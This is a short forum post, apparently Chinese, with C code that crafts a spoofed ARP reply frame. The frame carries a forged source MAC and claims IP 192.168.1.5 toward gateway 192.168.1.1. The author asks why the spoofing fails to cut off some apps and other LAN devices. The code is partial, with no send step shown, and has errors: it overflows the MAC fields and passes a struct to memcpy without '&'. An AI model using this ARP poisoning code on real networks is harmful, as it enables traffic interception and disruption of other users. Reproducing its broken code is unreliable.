arp--c語言實現

//以太網頭部
typedef struct ethernet_head
{
    u_char dst_mac[6];
    u_char src_mac[6];
    u_short eth_type;
}ethernet_head;
//arp頭部
typedef struct arp_head
{
    u_char hardware_type[2];
    u_char protocol_type[2];
    u_char hardware_size;
    u_char protocol_size;
    u_char opcode[2];
    u_char  send_mac[6];
    u_char  send_ip[4];
    u_char  target_mac[6];
    u_char  target_ip[4];
 
}arp_head;
 
 
 
int main()
{
    pcap_if_t *alldevs;
    pcap_if_t *d;
    pcap_t * adhandler;
    char errbuf[PCAP_ERRBUF_SIZE];
    int num;
 
    ethernet_head  ether_data;
    arp_head       arp_data;
 
    u_char packet[100];
    //以太網頭部
 
    *((unsigned long long*)&ether_data.dst_mac)=0xffffffffffff;
    *((unsigned long long*)&ether_data.src_mac)=0xaaaaaaaaaaaa;
 
 
    ether_data.eth_type=htons(0x0806);
    //arp頭部
 
    *((u_short*)&arp_data.hardware_type)=htons(0x0001);
    *((u_short*)&arp_data.protocol_type)=htons(0x0800);
    arp_data.hardware_size=0x06;
    arp_data.protocol_size=0x04;
    *((u_short*)&arp_data.opcode)=htons(0x0002);
 
    *((u_int*)&arp_data.send_ip)=inet_addr("192.168.1.5");
    *((u_int*)&arp_data.target_ip)=inet_addr("192.168.1.1");
 
 
    memcpy(packet,ether_data,14);
    memcpy(packet+14,&arp_data,28);
    memcpy(packet+22,packet+6,6);
    memcpy(packet+32,packet,6);

 

 

問題1: 爲什麼網關已經被欺騙了,有些應用還能上網,路由器也沒有這方面的防護功能。問題2: 對局域網內其他設備一點反應都沒有,虛擬機開橋接模式倒是可以、手機是一點動靜都沒有毫無影響。
問題3:arp請求的目標地址是廣播,其他主機收到會更新自己的arp列表嗎?

1.png

https://www.52pojie.cn/thread-810237-1-1.html

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章